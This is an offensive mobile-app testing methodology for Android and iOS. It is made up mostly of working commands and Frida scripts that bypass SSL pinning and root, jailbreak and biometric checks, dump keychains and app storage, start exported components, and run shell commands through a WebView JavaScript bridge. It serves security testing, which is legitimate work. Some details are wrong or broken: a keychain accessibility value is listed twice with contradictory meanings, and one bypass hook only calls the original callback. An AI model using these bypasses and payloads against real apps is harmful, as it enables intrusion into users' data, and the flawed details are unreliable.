Mobile (Android + iOS) — Offensive Testing Methodology
Quick Workflow
- Static: pull the IPA/APK, decompile, dump resources/strings, identify endpoints
- Dynamic: install on rooted/jailbroken device, hook with Frida, intercept TLS
- Map exported attack surface: deep links, URL schemes, exported components
- Storage / Keystore audit: where do secrets live, what protects them
- API: every backend the app talks to is your scope — test like a web app
Lab Setup
Android
- Rooted device or Genymotion / Android Studio AVD with
userdebugbuild - Magisk for systemless root; LSPosed for hooks; Frida server matching device arch
- Burp / Mitmproxy with system-trusted CA via Magisk module (
MagiskTrustUserCerts)
iOS
- Jailbroken device (palera1n / checkra1n / Dopamine depending on iOS version)
- Frida + Objection + Filza + SSH via USB (iproxy 2222 22)
- Burp CA installed via Settings → General → Device Management → Certificate Trust Settings
Static Analysis
Android
# Decode resources + smali
apktool d app.apk -o app
# Decompile to Java
jadx -d app_src app.apk
# Manifest review
xmllint --format app/AndroidManifest.xml | less
# Look for: android:exported="true", intent-filters, custom permissions, debuggable, allowBackup, networkSecurityConfig
# Secrets and endpoints
grep -rE '(https?://[a-z0-9.-]+|api[_-]?key|secret|token|firebase|amazonaws|appspot)' app_src/
grep -r "Log\.[dwief]" app_src/ # leftover debug logs
# Native libs
file app/lib/*/*.so
# RE in Ghidra/IDA; look for JNI_OnLoad and exported Java_* functions
iOS
# Pull IPA from device
frida-ios-dump -o app.ipa "com.vendor.app"
# Or via App Store via 3rd-party tools (Apple Configurator with paid acct, etc.)
unzip app.ipa
# Decrypt if needed (jailbroken device): bagbak / clutch
bagbak com.vendor.app
# Class dump
class-dump-dyld -H Payload/App.app/App -o headers/
# Or for Swift symbols, use Hopper / IDA
# Strings / endpoints
strings -a Payload/App.app/App | grep -E '(https?://|key|secret|api)'
# Info.plist analysis
plutil -p Payload/App.app/Info.plist
# Look for: NSAppTransportSecurity exceptions, CFBundleURLTypes (URL schemes),
# associated-domains entitlements, UIFileSharingEnabled, ATS exemptions
Dynamic Analysis & Frida
Common Hooks
// Bypass SSL pinning (Android — generic OkHttp/CertificatePinner/TrustManager)
Java.perform(() => {
const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
const TrustManagerFactory = Java.use('javax.net.ssl.TrustManagerFactory');
// ... full bypass scripts: codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida
});
// Bypass root detection
Java.perform(() => {
const File = Java.use('java.io.File');
File.exists.implementation = function () {
const path = this.getAbsolutePath();
if (path.includes('su') || path.includes('Magisk')) return false;
return this.exists();
};
});
// iOS — bypass jailbreak detection
const stat = Module.findExportByName(null, 'stat');
Interceptor.attach(stat, {
onEnter(args) {
const path = args[0].readUtf8String();
if (/Cydia|jailbreak|substrate|frida/i.test(path)) {
args[0] = Memory.allocUtf8String('/nonexistent');
}
}
});
Objection (Frida-based shortcuts)
objection -g com.vendor.app explore
# Then inside:
android sslpinning disable
android root disable
android hooking list activities
android intent launch_activity com.vendor.app/.SecretActivity
ios sslpinning disable
ios jailbreak disable
ios keychain dump
SSL / TLS Interception
Android Network Security Config
App with <network-security-config> requiring its own pinned CA: edit res/xml/network_security_config.xml, repack:
apktool b app -o app-patched.apk
apksigner sign --ks debug.keystore app-patched.apk
Or live-bypass with Frida (preferred — no recompile).
iOS ATS / Pinning
For pinning, use Frida hooks against SecTrustEvaluate* / NSURLSession delegate methods. ATS exceptions in Info.plist (NSAllowsArbitraryLoads) make MITM trivial without pinning.
Exported / IPC Attack Surface
Android — Exported Components
drozer console connect
> run app.package.attacksurface com.vendor.app
> run app.activity.start --component com.vendor.app .ExportedActivity \
--extra string url 'javascript:alert(1)'
> run app.provider.query content://com.vendor.app.provider/secrets
Targets:
exported="true"activities → call from another app, bypass auth- ContentProviders without
grantUriPermissions→ arbitrary read - Receivers handling
BOOT_COMPLETEDetc. with privileged actions - Services bound by intent extras → command injection
Intent Redirection / PendingIntent Hijack
// Vulnerable: PendingIntent with implicit Intent given to untrusted app
PendingIntent.getActivity(this, 0, new Intent(), FLAG_MUTABLE)
// Attacker fills the empty Intent → action runs with victim app's identity
iOS — URL Schemes / Universal Links
# Open custom scheme (test from another app)
plutil -p Payload/App.app/Info.plist | grep -A 5 CFBundleURLTypes
# Then on device:
xcrun simctl openurl booted "vendorapp://payment?to=ATTACKER&amount=9999"
Universal Links: check apple-app-site-association on the linked domain — open redirect on that domain → universal-link claim → in-app webview navigation.
iOS XPC / Mach Services
launchctl list | grep com.vendor enumerates the app's launch services. XPC handlers without proper audit-token validation accept messages from any process.
Insecure Data Storage
Android
# On device (root), pull app data
adb shell "su -c 'tar -cz /data/data/com.vendor.app'" > app_data.tgz
Inspect:
shared_prefs/*.xml— preferences in plaintextdatabases/*.db— SQLite (usesqlite3to dump)files/— arbitrary writescache/and external storage (sdcard/Android/data/...) — often readable across apps
Android Keystore Misuse
- Keys created without
setUserAuthenticationRequired(true)→ use any time process is running - AES-GCM with reused IV (devs often hardcode IV)
- RSA without proper padding (PKCS1 v1.5 vs OAEP)
iOS Keychain
# Objection
ios keychain dump
# Look for kSecAttrAccessible values:
# AlwaysThisDeviceOnly → readable when phone locked (bad for secrets)
# WhenUnlocked → standard
# AlwaysThisDeviceOnly → bypasses screen lock
iOS Data Protection classes: NSFileProtectionNone files are readable on a jailbroken device even when locked.
WebView Vulnerabilities
Android addJavascriptInterface
If the app exposes a JS bridge with reflection-capable objects, JS in any loaded page = arbitrary Java method invocation.
// In a page loaded by the WebView
JSBridge.getClass().forName('java.lang.Runtime')
.getMethod('exec', String).invoke(JSBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id')
file:// and Content://
WebView with setAllowFileAccessFromFileURLs(true) + a HTML attachment that the user opens → reads any file the app can.
iOS WKWebView
WKWebViewConfiguration.preferences.javaScriptCanOpenWindowsAutomaticallywkScriptMessageHandlerexposed — same JS bridge concern as Android- File URL load with
loadFileURLand broadallowingReadAccessTodirectory
Biometric / Auth Bypass
Android BiometricPrompt
Apps using BiometricPrompt without binding the cryptographic operation to authentication can be bypassed by hooking the result callback.
Java.perform(() => {
const Cb = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
Cb.onAuthenticationSucceeded.implementation = function (r) {
return this.onAuthenticationSucceeded(r); // accept whatever
};
Cb.onAuthenticationFailed.implementation = function () {